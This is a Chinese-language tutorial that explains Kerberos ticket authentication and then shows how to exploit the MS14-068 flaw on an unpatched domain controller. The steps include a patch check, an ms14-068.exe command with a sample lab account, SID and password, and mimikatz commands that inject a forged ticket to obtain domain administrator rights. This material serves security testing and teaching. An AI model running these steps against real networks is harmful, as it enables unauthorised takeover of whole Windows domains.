在做測試時，當遇到域環境，獲取到一個域成員賬號後，如果域控制器未打好補丁，則可以利用本文所提到的漏洞，快速獲取到域控制器權限。筆者這裏總結網上已有資料，加以描述，希望你能在實際測試中派上用場。
Windows安全認證[Kerberos篇]
Kerberos認證簡介
Windows認證協議有兩種NTLM（NT LAN Manager）和Kerberos，前者主要應用於用於Windows NT 和 Windows 2000 Server（or Later） 工作組環境，而後者則主要應用於Windows 2000 Server（or Later） 域（Domain）環境。Kerberos較之NTLM更高效、更安全，同時認證過程也相對複雜。Kerberos這個名字來源於希臘神話，是冥界守護神獸的名字。Kerberos是一個三頭怪獸，之所以用它來命名一種完全認證協議，是因爲整個認證過程涉及到三方：客戶端、服務端和KDC（Key Distribution Center）。在Windows域環境中，KDC的角色由DC（Domain Controller）來擔當。
Kerberos實際上是一種基於票據（Ticket）的認證方式。客戶端要訪問服務器的資源，需要首先購買服務端認可的票據。也就是說，客戶端在訪問服務器之前需要預先買好票，等待服務驗票之後才能入場。在這之前，客戶端需要先買票，但是這張票不能直接購買，需要一張認購權證。客戶端在買票之前需要預先獲得一張認購權證。這張認購權證和進入服務器的入場券均有KDC發售。上圖一張圖基本揭示了Kerberos整個認證的過程。
如何獲得“認購權證”？
首先，我們來看看客戶端如何獲得“認購權證”。這裏的認購權證有個專有的名稱——TGT（Ticket Granting Ticket），而TGT的是KDC一個重要的服務——認證服務（KAS：Kerberos Authentication Service）。當某個用戶通過輸入域帳號和密碼試圖登錄某臺主機的時候，本機的Kerberos服務會向KDC的認證服務發送一個認證請求。該請求主要包括兩部分內容，明文形式的用戶名和經過加密的用於證明訪問者身份的Authenticator（我實在找不到一個比較貼切的中文翻譯沒，Authenticator在這裏可以理解爲僅限於驗證雙反預先知曉的內容，相當於聯絡暗號）。
當KDC接收到請求之後，通過AD獲取該用戶的信息。通過獲取的密碼信息生成一個祕鑰對Authenticator進行解密。如果解密後的內容和已知的內容一致，則證明請求着提供的密碼正確，即確定了登錄者的真實身份。
KAS成功認證對方的身份之後，會先生成一個用於確保該用戶和KDC之間通信安全的會話祕鑰——Logon Session Key，並採用該用戶密碼派生的祕鑰進行加密。KAS接着爲該用戶創建“認購權證”——TGT。TGT主要包含兩方面的內容：用戶相關信息和Logon Session Key，而整個TGT則通過KDC自己的密鑰進行加密。最終，被不同密鑰加密的Logon Session Key和TGT返回給客戶端。（以上的內容對應流程圖中的步驟1、2）
如何通過“認購權證”購買“入場券”？
經過上面的步驟，客戶端獲取了購買進入同域中其他主機入場券的“認購憑證”——TGT，以及Logon Session Key，它會在本地緩存此TGT和Logon Session Key。如果現在它需要訪問某臺服務器的資源，它就需要憑藉這張TGT向KDC購買相應的入場券。這裏的入場券也有一個專有的名稱——服務票據（ST：Service Ticket）。
具體來說，ST是通過KDC的另一個服務TGS（Ticket Granting Service）出售的。客戶端先向TGS發送一個ST購買請求，該請求主要包含如下的內容：客戶端用戶名；通過Logon Session Key加密的Authenticator；TGT和訪問的服務器（其實是服務）名。
TGS接收到請求之後，現通過自己的密鑰解密TGT並獲取Logon Session Key，然後通過Logon Session Key解密Authenticator，進而驗證了對方的真實身份。
TGS存在的一個根本的目有兩點：其一是避免讓用戶的密碼客戶端和KDC之間頻繁傳輸而被竊取。其二是因爲密碼屬於Long Term Key（我們一般不會頻繁的更新自己的密碼），讓它作爲加密密鑰的安全係數肯定小於一個頻繁變換得密鑰（Short Term Key）。而這個Short Term Key就是Logon Session Key，它確保了客戶端和KDC之間的通信安全。
TGS完成對客戶端的認證之後，會生成一個用於確保客戶端-服務器之間通信安全的會話祕鑰——Service Session Key，該會話祕鑰通過Logon Session Key進行加密。然後出售給客戶端需要的入場券——ST。ST主要包含兩方面的內容：客戶端用戶信息和Service Session Key，整個ST通過服務器密碼派生的祕鑰進行加密。最終兩個被加密的Service Session Key和ST回覆給客戶端。（以上的內容對應流程圖中的步驟3、4）
憑票入場
客戶端接收到TGS回覆後，通過緩存的Logon Session Key解密獲取Service Session Key。同時它也得到了進入服務器的入場券——ST。那麼它在進行服務訪問的時候就可以藉助這張ST憑票入場了。該Serivce Session Key和ST會被客戶端緩存。
但是，服務端在接收到ST之後，如何確保它是通過TGS購買，而不是自己僞造的呢？這很好辦，不要忘了ST是通過自己密碼派生的祕鑰進行加密的。具體的操作過程是這樣的，除了ST之外，服務請求還附加一份通過Service Session Key加密的Authenticator。服務器在接收到請求之後，先通過自己密碼派生的祕鑰解密ST，並從中提取Service Session Key。然後通過提取出來的Service Session Key解密Authenticator，進而驗證了客戶端的真實身份。
實際上，到目前爲止，服務端已經完成了對客戶端的驗證，但是，整個認證過程還沒有結束。談到認證，很多人都認爲只是服務器對客戶端的認證，實際上在大部分場合，我們需要的是雙向驗證（Mutual Authentication）——訪問者和被訪問者互相驗證對方的身份。現在服務器已經可以確保客戶端是它所聲稱的那麼用戶，客戶端還沒有確認它所訪問的不是一個釣魚服務呢。
爲了解決客戶端對服務器的驗證，服務要需要將解密後的Authenticator再次用Service Session Key進行加密，併發揮給客戶端。客戶端再用緩存的Service Session Key進行解密，如果和之前的內容完全一樣，則可以證明自己正在訪問的服務器和自己擁有相同的Service Session Key，而這個會話祕鑰不爲外人知曉（以上的內容對應流程圖中的步驟5、6）
ms14-068 Kerberos漏洞利用
一：Win7下對Kerberos漏洞利用
1.漏洞環境描述:
域控服務器: 192.168.1.46
漏洞利用服務器: 192.168.1.52
域控名稱:tdcoming.cn
2 測試步驟：
1.首先進行漏洞檢查
systeminfo |find “3011780”
沒有任何返回證明漏洞存在
利用域賬戶tdcooming02登錄普通域機器Win7，獲得該域賬戶的域SID：
如果以上不行：
(wmic useraccount get name,sid需要管理員身份)
或者直接使用工具獲取PsGetsid.exe
下載地址：https://docs.microsoft.com/zh-cn/sysinternals/downloads/sysinternals-suite
之後解壓到某個盤中，之後調用其中的PsGetsid.exe工具
3 生成TGT票據
用本地賬戶登錄普通域機器Win7，運行PyKek漏洞利用程序獲得TGT票據：
exp下載地址：https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
ms14-068.exe -u 域成員名@域名 -s 域成員sid -d 域控制器地址 -p 域成員密碼
ms14-068.exe -u [email protected] -s S-1-5-21-2330227793-2741678728-4043541936-1108 -d 192.168.1.46 -p Tdcoming123456
生成票據：
3. 票據注入
使用mimikatz將票據注入到當前內存中，僞造憑證，如果成功則擁有域管理權限，可任意訪問域中所有機器
mimikatz # kerberos::purge //清空當前機器中所有憑證，如果有域成員憑證會影響憑證僞造
mimikatz # kerberos::list //查看當前機器憑證
mimikatz # kerberos::ptc 票據文件 //將票據注入到內存中
當顯示injecting ticket ok時，表示已經成功將票據注入到內存中，可在機器中用klist查看
